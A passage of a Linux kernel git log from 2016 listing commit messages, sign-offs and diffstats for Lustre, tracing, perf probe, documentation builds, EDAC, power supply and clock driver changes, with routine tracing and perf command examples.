https://jira.hpdd.intel.com/browse/LU-7925 Reviewed-by: Wally Wang Reviewed-by: Lai Siyao Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 4 -- drivers/staging/lustre/lustre/include/obd_class.h | 25 ---------- .../staging/lustre/lustre/include/obd_support.h | 1 + drivers/staging/lustre/lustre/llite/dcache.c | 55 ---------------------- drivers/staging/lustre/lustre/llite/file.c | 2 + drivers/staging/lustre/lustre/lmv/lmv_obd.c | 42 ----------------- drivers/staging/lustre/lustre/lov/lov_obd.c | 41 ---------------- drivers/staging/lustre/lustre/mdc/mdc_internal.h | 3 -- drivers/staging/lustre/lustre/mdc/mdc_locks.c | 22 --------- drivers/staging/lustre/lustre/mdc/mdc_request.c | 1 - drivers/staging/lustre/lustre/osc/osc_request.c | 22 --------- 11 files changed, 3 insertions(+), 215 deletions(-) commit 371991353af424559eaeae147d094c8612099d73 Author: Alexander Boyko Date: Wed Aug 24 11:11:52 2016 -0400 staging/lustre/mdc: fix panic at mdc_free_open() Assertion was happened for open request when rq_replay is set to 1. ASSERTION(mod->mod_open_req->rq_replay == 0) But this situation is not fatal for client, and could happened when mdc_close() failed. The fix allow to free such requests. If mdc_close fail, MDS doesn`t receive close request from client. And in a worst case client would be evicted. The test recreates issue when mdc_close failed and client asserts: ASSERTION( mod->mod_open_req->rq_replay == 0 ) failed Signed-off-by: Alexander Boyko Seagate-bug-id: MRP-3156 Reviewed-on: http://review.whamcloud.com/17495 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5282 Reviewed-by: Alex Zhuravlev Reviewed-by: Andreas Dilger Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman .../staging/lustre/lustre/include/obd_support.h | 1 + drivers/staging/lustre/lustre/mdc/mdc_request.c | 56 ++++++++++++++-------- 2 files changed, 38 insertions(+), 19 deletions(-) commit bc30c172cf2fd476f10380446ae12c35921082fa Author: John L. Hammond Date: Wed Aug 24 11:11:51 2016 -0400 staging/lustre: const correct set_lock_data() Change the __u64 *cookie parameter of md_ops->set_lock_data() to const struct lustre_handle *lockh. Signed-off-by: John L. Hammond Reviewed-on: http://review.whamcloud.com/17072 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-7403 Reviewed-by: Frank Zago Reviewed-by: James Simmons Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 3 ++- drivers/staging/lustre/lustre/include/obd_class.h | 3 ++- drivers/staging/lustre/lustre/llite/file.c | 2 +- drivers/staging/lustre/lustre/llite/llite_internal.h | 5 ++--- drivers/staging/lustre/lustre/lmv/lmv_intent.c | 2 +- drivers/staging/lustre/lustre/lmv/lmv_obd.c | 5 +++-- drivers/staging/lustre/lustre/mdc/mdc_internal.h | 3 ++- drivers/staging/lustre/lustre/mdc/mdc_locks.c | 8 ++++---- drivers/staging/lustre/lustre/mdc/mdc_request.c | 5 ++--- 9 files changed, 19 insertions(+), 17 deletions(-) commit 107b40ad04a902f3a70957134979bfb51118d440 Author: Daeseok Youn Date: Mon Aug 22 10:43:59 2016 +0900 staging: dgnc: check the type of print before calling The dgnc_maxcps_room() function must be called only for print device. The if-statement for checking print device checks before calling dgnc_maxcps_room() and also this function doesn't need to have any data except channel_t. Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_tty.c | 18 +++++------------- 1 file changed, 5 insertions(+), 13 deletions(-) commit 613dccdf681aed9f9d1243bb2b8cd864a887802f Author: Namhyung Kim Date: Thu Sep 1 11:43:54 2016 +0900 function_graph: Handle TRACE_BPUTS in print_graph_comment It missed to handle TRACE_BPUTS so messages recorded by trace_bputs() will be shown with symbol info unnecessarily. You can see it with the trace_printk sample code: # cd /sys/kernel/tracing/ # echo sys_sync > set_graph_function # echo 1 > options/sym-offset # echo function_graph > current_tracer Note that the sys_sync filter was there to prevent recording other functions and the sym-offset option was needed since the first message was called from a module init function so kallsyms doesn't have the symbol and omitted in the output. # cd ~/build/kernel # insmod samples/trace_printk/trace-printk.ko # cd - # head trace Before: # tracer: function_graph # # CPU DURATION FUNCTION CALLS # | | | | | | | 1) | /* 0xffffffffa0002000: This is a static string that will use trace_bputs */ 1) | /* This is a dynamic string that will use trace_puts */ 1) | /* trace_printk_irq_work+0x5/0x7b [trace_printk]: (irq) This is a static string that will use trace_bputs */ 1) | /* (irq) This is a dynamic string that will use trace_puts */ 1) | /* (irq) This is a static string that will use trace_bprintk() */ 1) | /* (irq) This is a dynamic string that will use trace_printk */ After: # tracer: function_graph # # CPU DURATION FUNCTION CALLS # | | | | | | | 1) | /* This is a static string that will use trace_bputs */ 1) | /* This is a dynamic string that will use trace_puts */ 1) | /* (irq) This is a static string that will use trace_bputs */ 1) | /* (irq) This is a dynamic string that will use trace_puts */ 1) | /* (irq) This is a static string that will use trace_bprintk() */ 1) | /* (irq) This is a dynamic string that will use trace_printk */ Link: http://lkml.kernel.org/r/20160901024354.13720-1-namhyung@kernel.org Signed-off-by: Namhyung Kim Signed-off-by: Steven Rostedt kernel/trace/trace_functions_graph.c | 5 +++++ 1 file changed, 5 insertions(+) commit 5ba8a4a96f6eaa6af88e24c7794f142217aa3b6f Author: Dmitry Safonov Date: Thu Aug 25 18:21:09 2016 +0300 tracing/uprobe: Drop isdigit() check in create_trace_uprobe It's useless. Before: [tracing]# echo 'p:test /a:0x0' >> uprobe_events [tracing]# echo 'p:test a:0x0' >> uprobe_events -bash: echo: write error: No such file or directory [tracing]# echo 'p:test 1:0x0' >> uprobe_events -bash: echo: write error: Invalid argument After: [tracing]# echo 'p:test 1:0x0' >> uprobe_events -bash: echo: write error: No such file or directory Link: http://lkml.kernel.org/r/20160825152110.25663-3-dsafonov@virtuozzo.com Acked-by: Srikar Dronamraju Acked-by: Oleg Nesterov Signed-off-by: Dmitry Safonov Signed-off-by: Steven Rostedt kernel/trace/trace_uprobe.c | 4 ---- 1 file changed, 4 deletions(-) commit 87171fb72995577c43ea932ff277c2151648da47 Merge: 8d8f60c 9514997 Author: Jonathan Corbet Date: Thu Sep 1 08:56:20 2016 -0600 Merge branch 'doc/4.9' into docs-next commit 951499710be258b85c135ee1f7ebe5f7a4b7ac91 Author: Markus Heiser Date: Wed Aug 24 17:36:15 2016 +0200 doc-rst: define PDF's of the media folder To build only the PDF of the media folder run:: make SPHINXDIRS=media pdfdocs Signed-off-by: Markus Heiser Signed-off-by: Jonathan Corbet Documentation/media/conf.py | 5 +++++ 1 file changed, 5 insertions(+) commit cd21379b169827bb4314b72641511593ed9ba2b6 Author: Markus Heiser Date: Wed Aug 24 17:36:14 2016 +0200 doc-rst: generic way to build PDF of sub-folders This extends the method to build only sub-folders to the targets "latexdocs" and "pdfdocs". To do so, a conf.py in the sub-folder is required, where the latex_documents of the sub-folder are defined. E.g. to build only gpu's PDF add the following to the Documentation/gpu/conf.py:: +latex_documents = [ + ("index", "gpu.tex", "Linux GPU Driver Developer's Guide", + "The kernel development community", "manual"), +] and run: make SPHINXDIRS=gpu pdfdocs Signed-off-by: Markus Heiser Signed-off-by: Jonathan Corbet Documentation/Makefile.sphinx | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 6c04d2f7f1038bf6e5561827f862c6aa2beb4b37 Author: Simon Horman Date: Tue Aug 30 23:09:59 2016 +0200 arm64: defconfig: Enable SDHI and GPIO_REGULATOR This allows use of the SDHI SD/SDIO controller present on R-Car Gen3 SoCs and already enabled in the DT of the r8a7795/salvator-x (H3). Signed-off-by: Simon Horman arch/arm64/configs/defconfig | 2 ++ 1 file changed, 2 insertions(+) commit b62b9d81a06f60ae4ad5f7a9c969f5b9680e2829 Author: Markus Heiser Date: Wed Aug 24 15:35:24 2016 +0200 docs: sphinx-extensions: add metadata parallel-safe The setup() function of a Sphinx-extension can return a dictionary. This is treated by Sphinx as metadata of the extension [1]. With metadata "parallel_read_safe = True" a extension is marked as save for "parallel reading of source". This is needed if you want build in parallel with N processes. E.g.: make SPHINXOPTS=-j4 htmldocs will no longer log warnings like: WARNING: the foobar extension does not declare if it is safe for parallel reading, assuming it isn't - please ask the extension author to check and make it explicit. Add metadata to extensions: * kernel-doc * flat-table * kernel-include [1] http://www.sphinx-doc.org/en/stable/extdev/#extension-metadata Signed-off-by: Markus Heiser Tested-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/sphinx/kernel-doc.py | 8 ++++++++ Documentation/sphinx/kernel_include.py | 7 +++++++ Documentation/sphinx/rstFlatTable.py | 6 ++++++ 3 files changed, 21 insertions(+) commit c2da9133455d1e01941f428fb9c497f1497bce7b Merge: 60747ef 76f8c0e Author: Kalle Valo Date: Thu Sep 1 17:17:16 2016 +0300 Merge tag 'iwlwifi-next-for-kalle-2016-08-30-2' of git://git.kernel.org/pub/scm/linux/kernel/git/iwlwifi/iwlwifi-next * Preparation for new HW continues; * Some DQA improvements; * Support for GMAC; commit f5b55fa1f81d518925d68b50d2316850c525d1ad Author: Martin Schwidefsky Date: Wed Aug 31 09:27:35 2016 +0200 RAID/s390: provide raid6 recovery optimization The XC instruction can be used to improve the speed of the raid6 recovery. The loops now operate on blocks of 256 bytes. Signed-off-by: Martin Schwidefsky include/linux/raid/pq.h | 1 + lib/raid6/Makefile | 2 +- lib/raid6/algos.c | 3 ++ lib/raid6/recov_s390xc.c | 116 +++++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 121 insertions(+), 1 deletion(-) commit 82801d065b4915d030e7f63212d146a75042aa91 Author: Mauro Carvalho Chehab Date: Tue Aug 30 20:20:58 2016 -0300 docs-rst: kernel-doc: fix typedef output in RST format When using a typedef function like this one: typedef bool v4l2_check_dv_timings_fnc (const struct v4l2_dv_timings * t, void * handle); The Sphinx C domain expects it to create a c:type: reference, as that's the way it creates the type references when parsing a c:function:: declaration. So, a declaration like: .. c:function:: bool v4l2_valid_dv_timings (const struct v4l2_dv_timings * t, const struct v4l2_dv_timings_cap * cap, v4l2_check_dv_timings_fnc fnc, void * fnc_handle) Will create a cross reference for :c:type:`v4l2_check_dv_timings_fnc`. So, when outputting such typedefs in RST format, we need to handle this special case, as otherwise it will produce those warnings: ./include/media/v4l2-dv-timings.h:43: WARNING: c:type reference target not found: v4l2_check_dv_timings_fnc ./include/media/v4l2-dv-timings.h:60: WARNING: c:type reference target not found: v4l2_check_dv_timings_fnc ./include/media/v4l2-dv-timings.h:81: WARNING: c:type reference target not found: v4l2_check_dv_timings_fnc So, change the kernel-doc script to produce a RST output for the above typedef as: .. c:type:: v4l2_check_dv_timings_fnc **Typedef**: timings check callback **Syntax** ``bool v4l2_check_dv_timings_fnc (const struct v4l2_dv_timings * t, void * handle);`` Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet scripts/kernel-doc | 34 ++++++++++++++++++++++++---------- 1 file changed, 24 insertions(+), 10 deletions(-) commit d37c43ce1975c1c3f28064bf3ebd2876e177bad8 Author: Mauro Carvalho Chehab Date: Tue Aug 30 20:20:57 2016 -0300 docs-rst: improve typedef parser Improve the parser to handle typedefs like: typedef bool v4l2_check_dv_timings_fnc(const struct v4l2_dv_timings *t, void *handle); Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet scripts/kernel-doc | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 3b5dd3a49496220b35af83c96e3d2ff5716550ae Author: Phil Reid Date: Thu Sep 1 15:50:52 2016 +0800 power: supply: sbs-battery: Use gpio_desc and sleeping calls for battery detect Switch to using new gpio_desc interface and devm gpio get calls to automatically manage gpio resource. Use gpiod_get_value which handles active high / low calls. If gpio_detect is set then force loading of the driver as it is reasonable to assume that the battery may not be present. Update the is_present flag immediately in the IRQ. Remove legacy gpio specification from platform data. Signed-off-by: Phil Reid Signed-off-by: Sebastian Reichel drivers/power/supply/sbs-battery.c | 101 +++++++++++++------------------------ include/linux/power/sbs-battery.h | 4 -- 2 files changed, 34 insertions(+), 71 deletions(-) commit 9e18ad98ca71ca0cfcadf633547409829773f36a Merge: a4589a6 8b2ec318 Author: Bjorn Helgaas Date: Thu Sep 1 09:04:55 2016 -0500 Merge branch 'pci/ptm' into next * pci/ptm: PCI: Add PTM clock granularity information PCI: Add pci_enable_ptm() for drivers to enable PTM on endpoints PCI: Add Precision Time Measurement (PTM) support commit a4589a660662d16336353b1c66ad18e0a0a3eb1e Merge: 29b4817 70626d8 Author: Bjorn Helgaas Date: Thu Sep 1 09:04:28 2016 -0500 Merge branch 'pci/demodularize' into next * pci/demodularize: PCI: pciehp: Make explicitly non-modular PCI: hotplug: Make core explicitly non-modular PCI: xilinx-nwl: Make explicitly non-modular PCI: xilinx: Make explicitly non-modular PCI: qcom: Make explicitly non-modular PCI: dra7xx: Make explicitly non-modular PCI/AER: Make explicitly non-modular PCI/PME: Make explicitly non-modular PCI: Make DPC explicitly non-modular PCI: generic: Make explicitly non-modular PCI: exynos: Make explicitly non-modular PCI: designware: Make explicitly non-modular PCI: spear: Make explicitly non-modular PCI: portdrv: Make explicitly non-modular PCI: imx6: Make explicitly non-modular PCI: altera: Make explicitly non-modular PCI: altera: Make MSI explicitly non-modular commit c91d907596cc44e8206b707e6be80f5489db4f40 Author: Borislav Petkov Date: Thu Sep 1 14:55:45 2016 +0200 EDAC, I3000: Orphan driver Apparently there's no hw left at Intel for testing patches and Jason is not going to maintain it anymore. Signed-off-by: Borislav Petkov CREDITS | 4 ++++ MAINTAINERS | 3 +-- 2 files changed, 5 insertions(+), 2 deletions(-) commit e937dd5782688928d8c4050237b93b0a51faebee Author: Will Deacon Date: Tue Aug 16 11:29:17 2016 +0100 arm64: debug: convert OS lock CPU hotplug notifier to new infrastructure The arm64 debug monitor initialisation code uses a CPU hotplug notifier to clear the OS lock when CPUs come online. This patch converts the code to the new hotplug mechanism. Cc: Sebastian Andrzej Siewior Reviewed-by: Lorenzo Pieralisi Signed-off-by: Will Deacon arch/arm64/kernel/debug-monitors.c | 30 ++++++------------------------ include/linux/cpuhotplug.h | 1 + 2 files changed, 7 insertions(+), 24 deletions(-) commit d7a83d127a64fd91ef1ad39b7e2d78db36cf388b Author: Will Deacon Date: Mon Aug 15 18:55:11 2016 +0100 arm64: hw_breakpoint: convert CPU hotplug notifier to new infrastructure The arm64 hw_breakpoint implementation uses a CPU hotplug notifier to reset the {break,watch}point registers when CPUs come online. This patch converts the code to the new hotplug mechanism, whilst moving the invocation earlier to remove the need to disable IRQs explicitly in the driver (which could cause havok if we trip a watchpoint in an IRQ handler whilst restoring the debug register state). Cc: Sebastian Andrzej Siewior Reviewed-by: Lorenzo Pieralisi Signed-off-by: Will Deacon arch/arm64/kernel/hw_breakpoint.c | 48 +++++++++++++-------------------------- arch/arm64/kernel/suspend.c | 10 ++++---- include/linux/cpuhotplug.h | 1 + 3 files changed, 23 insertions(+), 36 deletions(-) commit 428aff82e92a29da0e4276623180f9a98f2d5b16 Author: Masami Hiramatsu Date: Fri Aug 26 01:24:42 2016 +0900 perf probe: Ignore vmlinux buildid if offline kernel is given Ignore the buildid of running kernel when both of --definition and --vmlinux is given because that kernel should be off-line. This also skips post-processing of kprobe event for relocating symbol and checking blacklist, because it can not be done on off-line kernel. E.g. without this fix perf shows an error as below ---- $ perf probe --vmlinux=./vmlinux-arm --definition do_sys_open ./vmlinux-arm with build id 7a1f76dd56e9c4da707cd3d6333f50748141434b not found, continuing without symbols Failed to find symbol do_sys_open in kernel Error: Failed to add events. ---- with this fix, we can get the definition ---- $ perf probe --vmlinux=./vmlinux-arm --definition do_sys_open p:probe/do_sys_open do_sys_open+0 ---- Signed-off-by: Masami Hiramatsu Cc: Jiri Olsa Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/147214228193.23638.12581984840822162131.stgit@devbox Signed-off-by: Arnaldo Carvalho de Melo tools/perf/Documentation/perf-probe.txt | 2 ++ tools/perf/builtin-probe.c | 10 +++++++++- tools/perf/util/probe-event.c | 4 ++++ tools/perf/util/symbol-elf.c | 2 +- 4 files changed, 16 insertions(+), 2 deletions(-) commit 1c20b1d15473a91e2fccecbcd2809d80ff4b4924 Author: Masami Hiramatsu Date: Fri Aug 26 01:24:27 2016 +0900 perf probe: Show trace event definition Add --definition/-D option for showing the trace-event definition in stdout. This can be useful in debugging or combined with a shell script. e.g. ---- # perf probe --definition 'do_sys_open $params' p:probe/do_sys_open _text+2261728 dfd=%di:s32 filename=%si:u64 flags=%dx:s32 mode=%cx:u16 ---- Suggested-and-Tested-by: Arnaldo Carvalho de Melo Signed-off-by: Masami Hiramatsu Cc: Ingo Molnar Cc: Jiri Olsa Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/147214226712.23638.2240534040014013658.stgit@devbox Signed-off-by: Arnaldo Carvalho de Melo tools/perf/Documentation/perf-probe.txt | 7 +++++ tools/perf/builtin-probe.c | 26 ++++++++++++++----- tools/perf/util/probe-event.c | 46 +++++++++++++++++++++++++++++++++ tools/perf/util/probe-event.h | 1 + 4 files changed, 73 insertions(+), 7 deletions(-) commit 893c5c798be99bcff5b235402dbd21e5aa03d76e Author: Milian Wolff Date: Tue Aug 30 15:41:06 2016 +0200 perf config: Show default report configuration in example and docs Signed-off-by: Milian Wolff LPU-Reference: 20160830134106.21240-2-milian.wolff@kdab.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/Documentation/perf-config.txt | 8 ++++++++ tools/perf/Documentation/perfconfig.example | 9 +++++++++ 2 files changed, 17 insertions(+) commit 2a8d41b46540f224d77c255b5cc042d145e81b83 Author: Milian Wolff Date: Tue Aug 30 13:41:02 2016 +0200 perf symbols: Demangle symbols for synthesized @plt entries. The symbols in the synthesized @plt entries where not demangled before, i.e. we could end up with entries such as: $ perf report Samples: 7K of event 'cycles:ppp', Event count (approx.): 6223833141 Children Self Command Shared Object Symbol - 93.63% 28.89% lab_mandelbrot lab_mandelbrot [.] main - 73.81% main - 33.57% hypot 27.76% __hypot_finite 15.97% __muldc3 2.90% __muldc3@plt 2.40% _ZNK6QImage6heightEv@plt + 2.14% QColor::rgb 1.94% _ZNK6QImage5widthEv@plt 1.92% cabs@plt This patch remedies this issue by also applying demangling to the synthesized symbols. The output for the above is now: $ perf report Samples: 7K of event 'cycles:ppp', Event count (approx.): 6223833141 Children Self Command Shared Object Symbol - 93.63% 28.89% lab_mandelbrot lab_mandelbrot [.] main - 73.81% main - 33.57% hypot 27.76% __hypot_finite 15.97% __muldc3 2.90% __muldc3@plt 2.40% QImage::height() const@plt + 2.14% QColor::rgb 1.94% QImage::width() const@plt 1.92% cabs@plt Signed-off-by: Milian Wolff LPU-Reference: 20160830114102.30863-1-milian.wolff@kdab.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/symbol-elf.c | 81 ++++++++++++++++++++++++++++---------------- 1 file changed, 52 insertions(+), 29 deletions(-) commit fd2275984d6e29c6737646ff39dd3de87a03f300 Author: Arnaldo Carvalho de Melo Date: Wed Aug 31 10:04:27 2016 -0300 perf probe: Do not use map_load filters for function It is simpler to just do the loop, no need for globals and the last user of such facility disappears. Testing: # perf probe -F [a-z]*recvmsg aead_recvmsg compat_SyS_recvmsg compat_sys_recvmsg hash_recvmsg inet_recvmsg kernel_recvmsg netlink_recvmsg packet_recvmsg ping_recvmsg raw_recvmsg rawv6_recvmsg rng_recvmsg security_socket_recvmsg selinux_socket_recvmsg skcipher_recvmsg sock_common_recvmsg sock_no_recvmsg sock_recvmsg sys_recvmsg tcp_recvmsg udp_recvmsg udpv6_recvmsg unix_dgram_recvmsg unix_seqpacket_recvmsg unix_stream_recvmsg # Without filters: # perf probe -F | tail -5 zswap_pool_create zswap_pool_current zswap_update_total_size zswap_writeback_entry zswap_zpool_param_set # # perf probe -F | wc -l 33311 # Acked-by: Masami Hiramatsu Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Wang Nan Link: http://lkml.kernel.org/r/20160831130427.GA13095@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/probe-event.c | 29 ++++++++++------------------- 1 file changed, 10 insertions(+), 19 deletions(-) commit 6f633402847635817fd5eddb2d0e0a50cd521c1e Author: Joonas Lahtinen Date: Thu Sep 1 14:58:21 2016 +0300 drm/i915: Use atomic for dev_priv->mm.bsd_engine_dispatch_index Use atomic type and operands for dev_priv->mm.bsd_engine_dispatch_index to avoid one struct_mutex locking scenario. Cc: Chris Wilson Cc: Imre Deak Cc: Zhao Yakui Cc: Daniel Vetter Signed-off-by: Joonas Lahtinen Reviewed-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1472731101-21982-1-git-send-email-joonas.lahtinen@linux.intel.com drivers/gpu/drm/i915/i915_drv.h | 2 +- drivers/gpu/drm/i915/i915_gem.c | 2 ++ drivers/gpu/drm/i915/i915_gem_execbuffer.c | 10 +++------- 3 files changed, 6 insertions(+), 8 deletions(-) commit 16f0f01d4f7fb9cbc7a383577ef9756d7eb9afd1 Author: Colin Ian King Date: Thu Sep 1 11:15:44 2016 +0100 ALSA: cs46xx: fix typo "seconadry" -> "secondary" Trivial fix to typos dev_dbg messages and comment. Signed-off-by: Colin Ian King Signed-off-by: Takashi Iwai sound/pci/cs46xx/cs46xx_lib.c | 4 ++-- sound/pci/cs46xx/dsp_spos.c | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) commit 528e3504123d0281c613b83ca46aaf2dd7c3f45e Author: Wenyou Yang Date: Thu Sep 1 17:29:59 2016 +0800 power: supply: act8945a_charger: Add max current property Add the power supply's current max property, POWER_SUPPLY_PROP_CURRENT_MAX. Signed-off-by: Wenyou Yang Signed-off-by: Sebastian Reichel drivers/power/supply/act8945a_charger.c | 89 +++++++++++++++++++++++++++++---- 1 file changed, 80 insertions(+), 9 deletions(-) commit 369eba0986d503302784f55f1020129bf802ae72 Author: Wenyou Yang Date: Thu Sep 1 17:29:58 2016 +0800 power: supply: act8945a_charger: Add capacity level property Add the power supply capacity level property, it corresponds to POWER_SUPPLY_CAPACITY_LEVEL_*. It also utilizes the precision voltage detector function module to catch the low battery voltage. Signed-off-by: Wenyou Yang Signed-off-by: Sebastian Reichel drivers/power/supply/act8945a_charger.c | 79 ++++++++++++++++++++++++++++++++- 1 file changed, 78 insertions(+), 1 deletion(-) commit 47aabaf5a87be6caa9df34a131cb96e3a801b5e9 Author: Marek Szyprowski Date: Wed Aug 31 15:25:18 2016 +0200 ARM: dts: exynos: Add all required FIMC-IS clocks to exynos4x12 FIMC-IS blocks must control 3 more clocks ("gicisp", "mcuctl_isp" and "pwm_isp") to make the hardware fully operational. Signed-off-by: Marek Szyprowski Signed-off-by: Krzysztof Kozlowski arch/arm/boot/dts/exynos4x12.dtsi | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit a842789837c0e3734357c6b4c54d39d60a1d24b1 Author: zijun_hu Date: Thu Sep 1 18:51:19 2016 +0800 arm64: remove duplicate macro __KERNEL__ check remove duplicate macro __KERNEL__ check Signed-off-by: zijun_hu Signed-off-by: Will Deacon arch/arm64/include/asm/processor.h | 2 -- 1 file changed, 2 deletions(-) commit a4f182bf81f18f91f1aef6289fcdfa6a2ac51b99 Author: Lin Huang Date: Mon Aug 22 11:36:17 2016 +0800 clk: rockchip: add new clock-type for the ddrclk Changing the rate of the DDR clock needs special care, as the DDR is of course in use and will react badly if the rate changes under it. Over time different approaches to handle that were used. Past SoCs like the rk3288 and before would store some code in SRAM while the rk3368 used a SCPI variant and let a coprocessor handle that. New rockchip platforms like the rk3399 have a dcf controller to do ddr frequency scaling, and support for this controller will be implemented in the arm-trusted-firmware. This new clock-type should over time handle all these methods for handling DDR rate changes, but right now it will concentrate on the SIP interface used to talk to ARM trusted firmware. The SIP interface counterpart was merged from pull-request #684 [0] into the upstream arm-trusted-firmware codebase. [0] https://github.com/ARM-software/arm-trusted-firmware/pull/684 Signed-off-by: Lin Huang Signed-off-by: Heiko Stuebner drivers/clk/rockchip/Makefile | 1 + drivers/clk/rockchip/clk-ddr.c | 154 +++++++++++++++++++++++++++++++++++++++++ drivers/clk/rockchip/clk.c | 9 +++ drivers/clk/rockchip/clk.h | 33 +++++++++ 4 files changed, 197 insertions(+) commit 06b826fc28abe0b04798cdea270edfa47a6638dc Merge: 023a828 97dd826 Author: Heiko Stuebner Date: Thu Sep 1 11:14:36 2016 +0200 Merge branch 'v4.9-shared/sip-hdr' into v4.9-clk/next commit 75ac49532a3cd44f2b22d88bab888ae92c411650 Author: Tomeu Vizoso Date: Thu Sep 1 09:41:35 2016 +0200 drm/doc: Add a few words on validation with IGT Also provide some pointers for building IGT as some kernel hackers might not be that familiar with building stuff on Linux distros. Signed-off-by: Tomeu Vizoso Cc: Daniel Vetter Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1472715695-19812-1-git-send-email-tomeu.vizoso@collabora.com Documentation/gpu/drm-uapi.rst | 37 +++++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) commit f47ae798d82fb0d77d76b3b3f700d0e61f73d7c1 Author: York Sun Date: Tue Aug 23 15:16:10 2016 -0700 EDAC, fsl_ddr: Replace simple_strtoul() with kstrtoul() Replace obsolete simple_strtoul() with kstrtoul(). Signed-off-by: York Sun Cc: linux-edac Link: http://lkml.kernel.org/r/1471990593-27536-1-git-send-email-york.sun@nxp.com Signed-off-by: Borislav Petkov drivers/edac/fsl_ddr_edac.c | 30 ++++++++++++++++++++++++------ 1 file changed, 24 insertions(+), 6 deletions(-) commit eeb3d68b6c83abdb80bc0823cbb77cd49484793c Author: York Sun Date: Tue Aug 23 15:14:03 2016 -0700 EDAC, layerscape: Add Layerscape EDAC support Add DDR EDAC driver for ARM-based compatible controllers. Both big-endian and little-endian are supported, as specified in device tree. Signed-off-by: York Sun Cc: linux-arm-kernel@lists.infradead.org Cc: linux-edac Link: http://lkml.kernel.org/r/1471990465-27443-1-git-send-email-york.sun@nxp.com Signed-off-by: Borislav Petkov arch/arm64/Kconfig.platforms | 1 + drivers/edac/Kconfig | 7 ++++ drivers/edac/Makefile | 3 ++ drivers/edac/fsl_ddr_edac.c | 2 +- drivers/edac/layerscape_edac.c | 73 ++++++++++++++++++++++++++++++++++++++++++ 5 files changed, 85 insertions(+), 1 deletion(-) commit 55764ed37eec48ad1c1cb6784166055e06dcb9df Author: York Sun Date: Tue Aug 9 14:55:44 2016 -0700 EDAC, fsl_ddr: Fix IRQ dispose warning when module is removed When compiled as a module, removing it causes kernel warnings when irq_dispose_mapping() is called. Instead of calling irq_of_parse_and_map(), use platform_get_irq() to acquire the IRQ number. Signed-off-by: York Sun Cc: linux-edac Cc: morbidrsa@gmail.com Cc: oss@buserror.net Cc: stuart.yoder@nxp.com Link: http://lkml.kernel.org/r/1470779760-16483-8-git-send-email-york.sun@nxp.com Signed-off-by: Borislav Petkov drivers/edac/fsl_ddr_edac.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 339fdff14c1ed34acc9c3368e01b56f80692cf83 Author: York Sun Date: Tue Aug 9 14:55:43 2016 -0700 EDAC, fsl_ddr: Add support for little endian Get endianness from device tree. Both big endian and little endian are supported. Default to big endian for backwards compatibility to MPC85xx. Signed-off-by: York Sun Acked-by: Rob Herring Cc: devicetree@vger.kernel.org Cc: linux-edac Cc: morbidrsa@gmail.com Cc: oss@buserror.net Cc: stuart.yoder@nxp.com Link: http://lkml.kernel.org/r/1470779760-16483-7-git-send-email-york.sun@nxp.com Signed-off-by: Borislav Petkov .../bindings/memory-controllers/fsl/ddr.txt | 29 +++++++ .../devicetree/bindings/powerpc/fsl/mem-ctrlr.txt | 27 ------ drivers/edac/fsl_ddr_edac.c | 96 +++++++++++++--------- 3 files changed, 85 insertions(+), 67 deletions(-) commit 4e2c3252d2426cd05286e38650365f215571d3c6 Author: York Sun Date: Tue Aug 9 14:55:42 2016 -0700 EDAC, fsl_ddr: Add missing DDR DRAM types The compatible DDR controllers may support DDR, DDR2, DDR3, DDR4 DRAM. An individual controller doesn't support all of them. The EDAC driver reads SDRAM_CFG to determine which mode is configured. Add DDR4 and drop the defines used only in the mtype assignment. Signed-off-by: York Sun Cc: linux-edac Cc: morbidrsa@gmail.com Cc: oss@buserror.net Cc: stuart.yoder@nxp.com Link: http://lkml.kernel.org/r/1470779760-16483-6-git-send-email-york.sun@nxp.com Signed-off-by: Borislav Petkov drivers/edac/fsl_ddr_edac.c | 24 ++++++++++++++++-------- drivers/edac/fsl_ddr_edac.h | 4 ---- 2 files changed, 16 insertions(+), 12 deletions(-) commit d43a9fb202bc86a6f5a2bb44b06cf9fd5581080b Author: York Sun Date: Tue Aug 9 14:55:41 2016 -0700 EDAC, fsl_ddr: Rename macros and names Use FSL-specific prefix for macros, variables and functions. Signed-off-by: York Sun Cc: Johannes Thumshirn Cc: linux-edac Cc: oss@buserror.net Cc: stuart.yoder@nxp.com Link: http://lkml.kernel.org/r/1470779760-16483-5-git-send-email-york.sun@nxp.com Signed-off-by: Borislav Petkov drivers/edac/fsl_ddr_edac.c | 166 ++++++++++++++++++++++---------------------- drivers/edac/fsl_ddr_edac.h | 43 ++++++------ drivers/edac/mpc85xx_edac.c | 4 +- 3 files changed, 105 insertions(+), 108 deletions(-) commit ea2eb9a8b6207ee40fdc346956686d8753aea944 Author: York Sun Date: Thu Aug 11 13:15:18 2016 -0700 EDAC, fsl-ddr: Separate FSL DDR driver from MPC85xx The mpc85xx-compatible DDR controllers are used on ARM-based SoCs too. Carve out the DDR part from the mpc85xx EDAC driver in preparation to support both architectures. Signed-off-by: York Sun Cc: Johannes Thumshirn Cc: linux-edac Cc: oss@buserror.net Cc: stuart.yoder@nxp.com Link: 